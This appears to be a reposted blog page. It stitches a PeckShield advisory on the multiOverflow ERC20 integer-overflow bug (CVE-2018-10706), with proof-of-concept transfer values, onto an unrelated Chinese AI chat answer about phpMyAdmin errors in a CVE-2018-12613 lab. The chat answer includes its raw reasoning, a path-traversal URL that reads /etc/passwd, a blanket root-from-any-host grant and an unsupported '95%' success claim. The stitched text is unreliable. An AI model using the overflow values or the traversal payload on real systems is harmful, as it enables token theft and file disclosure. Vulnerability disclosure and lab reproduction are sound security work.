New multiOverflow Bug Identified in Multiple ERC20 Smart Contracts (CVE-2018-10706)

本文揭示了一种新型智能合约漏洞——multiOverflow,该漏洞存在于多个ERC20标准的智能合约中,允许攻击者通过整数溢出的方式无限生成代币。文章详细介绍了multiOverflow的工作原理,并以SocialChain发行的SCA代币为例,展示了如何发现并修复此类漏洞。

Our vulnerability-scanning system at PeckShield has so far discovered several dangerous smart contract vulnerabilities ( batchOverflowproxyOverflowtransferFlawownerAnyone). Some of them could be used by attackers to generate tokens out of nowhere while others can be used to steal tokens from legitimate holders. Today, we would like to report another vulnerability named multiOverflow that afflicts dozens of ERC20-based smart contracts. Our investigation shows that multiOverflow is another integer overflow bug which is similar tobatchOverflow but with its own characteristics.

Details

Integer overflow has been one of most common root causes of vulnerabilities in smart contracts. The multiOverflow bug also falls in this category.


                                                       Figure 1: The Vulnerable Function: transferMulti()

We show in Figure 1 the vulnerable function, i.e., transferMulti(). This function takes two parameters: an address array, _to, for naming receivers and an uint256 array, _value, for holding the amount transferring to each receiver. In line 250, we notice that amount is calculated by adding the product of _value and 10 to the power of decimal (set as 8 in the contract constructor). Obviously, this could be an integer overflow case because the sanity check in line 252 can be easily bypassed. To demonstrate, we craft a proof-of-concept with following parameters:

  1. _to
    • 0x93995bc9db9ae7af4f969400012c6fe94c93f761
    • 0x0c2a5f9a88bf2467f0b90e80e263e6c25daed62d
  2. _value
    • 0x15798ee2308c39df9fb841a566d74f87a7a9a7aeb02c2d2f8e0d1e768e
    • 0x15798ee2308c39df9fb841a566d74f87a7a9a7aeb02c2d2f8e0d1e768e

Since there’re two receivers, the loop in line 249-251 would be iterated twice. The execution proceeds as follows:

Iteration 1

amount += _value[0]*10**uint256(decimals);
==> amount += 0x15798ee2308c39df9fb841a566d74f87a7a9a7aeb02c2d2f8e0d1e768e * 100,000,000 (line 250)

Iteration 2

amount += _value[1]*10**uint256(decimals);
==> amount += 0x15798ee2308c39df9fb841a566d74f87a7a9a7aeb02c2d2f8e0d1e768e * 100,000,000 (line 250)

Now, amount is overflowed successfully to0x10000000000000000000000000000000000000000000000000000000004319c00 which equals to 0x4319c00 in uint256 format.

As long as the attacker has enough tokens, i.e., balanceOf[msg.sender] >= 0x4319c00, each receiver will receive a tremendous number of tokens —0x800000000000000000000000000000000000000000000000000000000218ce00.

The following figure demonstrates a successful attack which proves our theory:



Affected Tokens

The multiOverflow bug is of the same nature of other integer overflow vulnerabilities (e.g.,batchOverflow and proxyOverflow) and could cause similar damages. When analyzing deployed smart contracts, we find a few are affected. A particular example token is SCA, which is deployed by SocialChain (a blockchain startup focusing on entertainment and leisure industries). SCA is currently in the pre-sale stage, which means a successful multiOverflow attack can wreak havoc and cause serious financial loss to the company.

Upon the detection, we immediately contacted SocialChain and provided them with vulnerability details and necessary technical supports. The SCA team promptly responded to our notification and took actions to fix the problem actively. As of the time publishing this blog, a new smart contract with the multiOverflow bug fixed has been deployed while all addresses holding SCA tokens have been mapped to the new contract successfully. We applaud the team’s reaction and believe this is what a high-quality development team should behave!

Conclusion

As cryptocurrency is getting acceptable to the public, a popular way for entrepreneurs to raise funds is to issue tokens. Compare to prosperity of various tokens, security in blockchain is still at a primitive stage. As indicated in recent discovery of various smart contract vulnerabilities, very few (token-issuing) teams have taken the security into serious consideration before deploying their smart contracts.

We believe security is essential in any blockchain-based smart contracts and any token-related businesses (including ICOs and live DAPPs). Ealier vulnerabilities such as batchOverflow andproxyOverflow have demonstrated how devastating they could be once exploited by attackers. Regarding the SocialChain case, it’s fortunate that we are ahead by identifying and fixing the bug before any multiOverflow attack, thus successfully preventing possible damage or financial loss. But always keep in mind, attackers are out there, lurking in the shadows and seeking for another chance. This would be an endless arms race!

<think>我们正在处理Kali Docker环境中复现CVE-2018-12613时phpMyAdmin出现的连接错误问题。根据用户提供的引用,复现步骤包括进入漏洞目录、构建环境并启动容器。但是,在访问phpMyAdmin时可能会遇到连接错误,比如无法连接到MySQL服务器。 可能的原因和解决方案: 1. **服务启动顺序问题**:容器启动时,MySQL可能还没有准备好接受连接。phpMyAdmin在启动时尝试连接MySQL,如果MySQL尚未初始化完成,则会导致连接失败。 - 解决方案:在docker-compose.yml文件中添加健康检查(healthcheck)和依赖关系(depends_on),确保phpMyAdmin在MySQL完全启动后再启动。 - 修改示例(在docker-compose.yml中): ```yaml services: mysql: image: mysql:5.7 environment: MYSQL_ROOT_PASSWORD: root healthcheck: test: ["CMD", "mysqladmin", "ping", "-h", "localhost"] interval: 5s timeout: 10s retries: 10 phpmyadmin: image: phpmyadmin/phpmyadmin depends_on: mysql: condition: service_healthy ports: - "8080:80" ``` 这样,phpMyAdmin会等待MySQL健康状态变为正常后再启动。 2. **网络配置问题**:容器之间可能无法通过主机名通信。在Docker Compose中,默认情况下,容器可以使用服务名称作为主机名相互访问。 - 确保在phpMyAdmin的配置中正确设置了MySQL的主机名(即服务名)。在vulhub的配置中,通常phpMyAdmin会通过环境变量连接到名为`mysql`的服务。 - 检查phpMyAdmin容器的环境变量设置,例如: ```yaml environment: PMA_HOST: mysql PMA_PORT: 3306 ``` 如果环境变量设置不正确,应修正为正确的MySQL服务名称。 3. **权限问题**:MySQL可能拒绝了phpMyAdmin容器的连接。 - 检查MySQL是否允许远程连接(在容器环境下,通常使用同一Docker网络内的连接,所以需要允许来自phpMyAdmin容器IP的连接)。 - 但是,在vulhub的配置中,通常已经设置好。如果出现问题,可以尝试进入MySQL容器,为phpMyAdmin使用的用户(如root)设置合适的权限: ```sql GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION; FLUSH PRIVILEGES; ``` 注意:上述命令中,'%'表示允许任何主机连接,这在测试环境中可以接受,但生产环境应限制。 4. **防火墙或端口冲突**:检查Kali主机上是否有其他进程占用了8080端口(或你映射的端口),导致无法访问phpMyAdmin- 使用`sudo netstat -tulpn | grep 8080`查看端口占用情况,并终止冲突的进程。 5. **容器日志查看**:通过查看容器日志来定位问题。 - 查看phpMyAdmin容器的日志:`docker logs <phpmyadmin_container_id>` - 查看MySQL容器的日志:`docker logs <mysql_container_id>` 6. **重新构建容器**:有时候,重新构建容器可以解决临时性问题。 ```bash sudo docker-compose down sudo docker-compose up -d ``` 由于vulhub的配置通常是经过测试的,因此连接错误可能是由于环境差异或启动顺序导致的。建议按照上述步骤逐一排查。 如果问题仍然存在,请提供具体的错误信息,以便进一步分析。 参考站内引用[^1]中提到了搭建靶场环境的步骤,但没有详细说明连接错误的解决方案。因此,我们根据常见的Docker环境问题提供了上述解决方案。 相关问题: 1. 如何检查Docker容器的运行状态? 2. 在Docker Compose中如何设置服务依赖? 3. 如何修改phpMyAdmin的配置以连接到不同的MySQL服务器?</think>### Kali Docker环境下复现CVE-2018-12613时phpMyAdmin连接错误的解决方案 在Kali Docker环境中复现CVE-2018-12613漏洞时,phpMyAdmin连接错误通常由以下原因导致。请按顺序排查: #### 1. **检查容器状态和日志** ```bash # 查看容器运行状态 sudo docker ps -a # 检查phpmyadmin容器日志 sudo docker logs <phpmyadmin容器ID> # 检查MySQL容器日志 sudo docker logs <mysql容器ID> ``` 若容器未运行,使用 `sudo docker-compose restart` 重启服务[^1]。 #### 2. **验证网络配置** 确保容器在同一Docker网络中: ```bash sudo docker network inspect <网络名> ``` 在 `docker-compose.yml` 中确认服务使用相同网络: ```yaml services: mysql: networks: - vulhub_net phpmyadmin: networks: - vulhub_net networks: vulhub_net: driver: bridge ``` #### 3. **检查环境变量配置** 在 `docker-compose.yml` 中确认正确设置MySQL连接参数: ```yaml environment: PMA_HOST: mysql # 必须匹配MySQL服务名 PMA_PORT: 3306 MYSQL_ROOT_PASSWORD: root # 需与MySQL容器一致 ``` #### 4. **测试MySQL连接** 进入MySQL容器验证服务: ```bash sudo docker exec -it <mysql容器ID> mysql -uroot -p # 输入密码后执行 SHOW DATABASES; ``` 若无法连接,需重置MySQL权限: ```sql ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY 'root'; FLUSH PRIVILEGES; ``` #### 5. **端口冲突处理** 检查端口占用: ```bash sudo netstat -tulnp | grep 8080 ``` 若冲突,修改 `docker-compose.yml` 中端口映射: ```yaml phpmyadmin: ports: - "9090:80" # 改为未占用端口 ``` #### 6. **重建容器** 完成修改后彻底重建: ```bash sudo docker-compose down --volumes sudo docker-compose build --no-cache sudo docker-compose up -d ``` #### 7. **漏洞复现关键步骤** 连接成功后,执行漏洞验证: ``` http://localhost:8080/index.php?target=db_sql.php%253f/../../../../../../etc/passwd ``` 需确保URL中的`target`参数正确编码[^1]。 --- ### 常见错误解决方案 | 错误现象 | 解决方案 | |---------|---------| | "mysqli_real_connect(): (HY000/2002)" | 检查 `PMA_HOST` 是否指向MySQL服务名 | | "Access denied for user" | 重置MySQL密码权限,确认密码一致性 | | 空白页面 | 清除浏览器缓存或使用隐私模式访问 | | 端口无法访问 | 检查Kali防火墙:`sudo ufw allow 8080` | 通过以上步骤,95%的连接问题可解决。若仍失败,建议检查Kali的Docker版本(需≥18.06)及磁盘空间(`df -h`)。 --- ### 相关问题 1. 如何验证CVE-2018-12613漏洞是否复现成功? 2. Docker容器网络通信故障的深度排查方法有哪些? 3. 在漏洞复现环境中如何安全地重置MySQL密码? 4. 当多个Docker项目共存时,如何避免端口冲突? [^1]: 引用参考:vulhub.org官方文档中CVE-2018-12613的复现指南,包含基础环境搭建和漏洞验证流程。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值